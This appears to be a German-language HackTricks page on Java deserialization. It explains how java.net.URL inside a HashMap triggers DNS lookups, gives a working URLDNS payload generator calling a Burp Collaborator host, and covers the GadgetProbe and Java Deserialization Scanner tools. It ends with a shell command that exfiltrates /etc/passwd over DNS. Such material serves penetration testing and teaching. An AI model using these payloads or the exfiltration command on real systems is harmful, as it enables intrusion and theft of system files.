Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Unterstützen Sie HackTricks

DNS-Anfrage bei der Deserialisierung

Die Klasse java.net.URL implementiert Serializable, das bedeutet, dass diese Klasse serialisiert werden kann.

public final class URL implements java.io.Serializable {

Diese Klasse hat ein eigenartiges Verhalten. Aus der Dokumentation: “Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in die gleichen IP-Adressen aufgelöst werden können.” Jedes Mal, wenn ein URL-Objekt irgendeine der Funktionen equals oder hashCode aufruft, wird eine DNS-Anfrage gesendet, um die IP-Adresse zu erhalten.

Den Funktionsaufruf hashCode von einem URL-Objekt auszuführen, ist ziemlich einfach; es reicht aus, dieses Objekt in ein HashMap einzufügen, das deserialisiert werden soll. Dies liegt daran, dass am Ende der readObject-Funktion von HashMap dieser Code ausgeführt wird:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Es wird putVal mit jedem Wert im HashMap ausgeführt. Aber relevanter ist der Aufruf von hash mit jedem Wert. Das ist der Code der hash-Funktion:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Wie Sie sehen können, wird beim Deserialisieren eines HashMap die Funktion hash mit jedem Objekt ausgeführt und während der hash-Ausführung wird .hashCode() des Objekts ausgeführt. Daher, wenn Sie ein HashMap deserialisieren, das ein URL-Objekt enthält, wird das URL-Objekt .hashCode() ausführen.

Jetzt schauen wir uns den Code von URLObject.hashCode() an:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Wie Sie sehen können, wenn ein URLObject .hashCode() ausführt, wird hashCode(this) aufgerufen. Eine Fortsetzung sehen Sie im Code dieser Funktion:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Sie können sehen, dass ein getHostAddress für die Domain ausgeführt wird, was eine DNS-Abfrage auslöst.

Daher kann diese Klasse missbraucht werden, um eine DNS-Abfrage zu starten, um zu demonstrieren, dass Deserialisierung möglich ist, oder sogar um Informationen zu exfiltrieren (Sie können das Ergebnis einer Befehlsausführung als Subdomain anhängen).

URLDNS Payload-Codebeispiel

Sie finden den URDNS-Payload-Code von ysoserial hier. Um es jedoch einfacher zu machen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Mehr Informationen

GadgetProbe

Sie können GadgetProbe aus dem Burp Suite App Store (Extender) herunterladen.

GadgetProbe wird versuchen herauszufinden, ob einige Java-Klassen existieren auf der Java-Klasse des Servers, damit Sie wissen können, ob es anfällig für einige bekannte Exploits ist.

Wie funktioniert es

GadgetProbe verwendet die gleiche DNS-Payload des vorherigen Abschnitts, aber bevor die DNS-Abfrage ausgeführt wird, wird es versuchen, eine beliebige Klasse zu deserialisieren. Wenn die beliebige Klasse existiert, wird die DNS-Abfrage gesendet und GadgetProbe wird notieren, dass diese Klasse existiert. Wenn die DNS-Anfrage nie gesendet wird, bedeutet dies, dass die beliebige Klasse nicht erfolgreich deserialisiert wurde, also entweder nicht vorhanden ist oder nicht serialisierbar/exploitable ist.

Im GitHub hat GadgetProbe einige Wortlisten mit Java-Klassen, die getestet werden sollen.

Mehr Informationen

Java Deserialization Scanner

Dieser Scanner kann aus dem Burp App Store (Extender) heruntergeladen werden. Die Erweiterung hat passive und aktive Funktionen.

Passiv

Standardmäßig prüft es passiv alle Anfragen und Antworten, die gesendet werden, um nach Java-serialisierten magischen Bytes zu suchen, und wird eine Warnung über eine Schwachstelle anzeigen, wenn eine gefunden wird:

Aktiv

Manuelles Testen

Sie können eine Anfrage auswählen, mit der rechten Maustaste klicken und Send request to DS - Manual Testing. Dann können Sie im Deserialization Scanner Tab --> Manual testing tab den Einsprungspunkt auswählen. Und den Test starten (Wählen Sie den entsprechenden Angriff je nach verwendeter Kodierung).

Auch wenn dies "Manuelles Testen" genannt wird, ist es ziemlich automatisiert. Es wird automatisch überprüfen, ob die Deserialisierung anfällig für irgendeine ysoserial-Payload ist, indem die auf dem Webserver vorhandenen Bibliotheken überprüft werden, und wird die anfälligen hervorheben. Um nach anfälligen Bibliotheken zu suchen, können Sie auswählen, Javas Sleeps, Sleeps über CPU-Verbrauch oder die Verwendung von DNS zu starten, wie zuvor erwähnt.

Exploiting

Sobald Sie eine anfällige Bibliothek identifiziert haben, können Sie die Anfrage an den Exploiting Tab senden. In diesem Tab müssen Sie den Injektionspunkt erneut auswählen, die anfällige Bibliothek angeben, für die Sie eine Payload erstellen möchten, und den Befehl. Drücken Sie dann einfach die entsprechende Angriffs-Taste.

Java Deserialization DNS Exfil Informationen

Lassen Sie Ihre Payload etwas wie das Folgende ausführen:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Weitere Informationen

Unterstützen Sie HackTricks

Last updated